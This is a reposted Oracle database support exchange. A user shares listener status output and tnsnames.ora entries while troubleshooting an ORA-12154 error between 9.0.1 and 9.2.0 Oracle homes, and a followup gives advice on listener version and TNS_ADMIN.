Copyright (c) 1991, 2001, Oracle Corporation.  All rights reserved.

Connecting to
(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=hera.nm.cbc.ca)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for HPUX: Version 9.2.0.1.0 - Production
Start Date                19-JAN-2005 12:53:04
Uptime                    0 days 0 hr. 49 min. 31 sec
Trace Level               off
Security                  OFF
SNMP                      OFF
Listener Parameter File   /opt/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File         /opt/oracle/product/9.2.0/network/log/listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=hera.nm.cbc.ca)(PORT=1521)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "dbo01" has 1 instance(s).
  Instance "dbo01", status READY, has 1 handler(s) for this service...
Service "nmdb01.cbc.ca" has 1 instance(s).
  Instance "nmdb01", status READY, has 1 handler(s) for this service...
Service "nmdb02.cbc.ca" has 1 instance(s).
  Instance "nmdb02", status READY, has 1 handler(s) for this service...
The command completed successfully
oracle@hera>

As you see, listener has an instance for all DBs.

I also added DBs to tnsname.ora on both OracleHome:

dbo01 =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = dbo01)
    )
  )
nmdb01 =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = nmdb01)
    )
   )
nmdb02 =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = hera.nm.cbc.ca)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = nmdb02)
    )
   )

Almost everything is set. However, when I connect to the old DB using SQLPLUS, I
can not  connect to the new DBs from there and vice versa. I mean when
ORACLE_HOME is …./9.0.1 using SQLPLUS, I just can connect to ‘nmdb01’ and
‘nmdb02’ using ‘export ORACLE_SID=nmdb02’. I mean even the following failed:

nmdb01> connect system@nmdb02
Enter password:
ERROR:
ORA-12154: TNS:could not resolve service name

Could you please tell me why it is like this? Why can’t I connect to 9.2 DB when
Oracle Home is …./9.2.0 or vice versa? and also why can’t I use ‘connect
system@foo’ in sqlplus?

Best regards,
- Arash


===============
 


Followup: 
you are using the wrong listener software, you always use the HIGHEST version
listener -- 9.2 in this case.

make sure your TNS_ADMIN is not pointing to a different location.

test with

connect system/(description=........)

(eg: remove the tnsnames.ora from the equation for a moment)

do this after using the correct listener. 
 


Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1105713




声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/寸_铁/article/detail/992697
推荐阅读
相关标签
  

闽ICP备14008679号